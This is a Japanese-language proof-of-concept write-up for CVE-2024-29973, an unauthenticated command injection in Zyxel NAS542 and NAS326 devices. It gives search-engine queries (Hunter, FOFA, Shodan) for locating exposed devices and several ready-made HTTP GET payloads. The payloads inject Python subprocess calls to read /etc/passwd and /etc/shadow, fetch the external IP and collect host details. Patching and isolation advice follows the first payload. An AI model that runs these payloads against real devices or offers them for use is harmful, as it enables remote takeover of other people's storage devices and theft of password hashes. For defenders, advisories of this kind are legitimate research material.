
Zyxel NASデバイスにおけるコマンドインジェクションの脆弱性に対する概念実証エクスプロイト。巧妙に細工されたHTTPリクエストを介して任意のコマンド実行を実証し、システム乗っ取りやデータ抽出を可能にします。
CVE-2024-29973 は、特定の Zyxel ネットワークデバイスで発見された重大な脆弱性です。この脆弱性により、未認証の攻撃者がファームウェアの不適切な入力検証メカニズムを悪用して、対象デバイス上で任意のコマンドを実行できるようになります。攻撃者は特別に細工された HTTP リクエストをデバイスに送信し、システムレベルのコマンドを注入することで、デバイスの完全な制御を獲得する可能性があります。
Hunter: product.name="ZyXEL NAS542"||product.name="ZyXEL NAS326" FOFA: app="NAS542" || app="ZYXEL-NAS326" SHODAN: http.title:"Zyxel NAS326"
コマンドインジェクション:この脆弱性は、デバイスの Web インターフェースの 1 つにおける入力サニタイズの不備に起因します。この欠陥により、攻撃者は HTTP リクエストのパラメータ内に OS コマンドを追加できるようになります。
エクスプロイト例:攻撃者は、以下のような HTTP GET リクエストを通じてコマンドを注入し、任意のコードを実行できます:
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("id",+shell=True)%23 HTTP/1.1
影響:悪用に成功すると、システムコマンドを実行できるようになり、デバイスのリモート制御、データ漏えい、ネットワークのさらなる侵害につながる可能性があります。
この脆弱性に関連するリスクを軽減するには、次の手順に従ってください:
ファームウェアの更新:すべての Zyxel デバイスが最新のファームウェアバージョンに更新されていることを確認してください。Zyxel はこの脆弱性に対処するパッチをリリースしています。定期的に更新を確認し、速やかに適用してください。
ネットワークの分離:脆弱なデバイスを重要なネットワークインフラから隔離してください。必要なサービスのみを公開し、管理インターフェースが公開アクセスできないようにしてください。
ファイアウォールの設定:送受信トラフィックを必須サービスのみに制限してください。Zyxel デバイスへの不要な HTTP アクセスをブロックしてください。
不審なアクティビティの監視:ログ記録および監視ツールを実装し、ログイン試行の繰り返しや異常なトラフィックパターンなどの異常な動作を検出して警告できるようにしてください。
参考文献 National Vulnerability Database - CVE-2024-29973 Zyxel Security Advisory

GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/passwd",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/shadow",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("curl+ifconfig.me",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("hostname",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("ip+a",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("uname+-a",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/group",+shell=True)%23 HTTP/1.1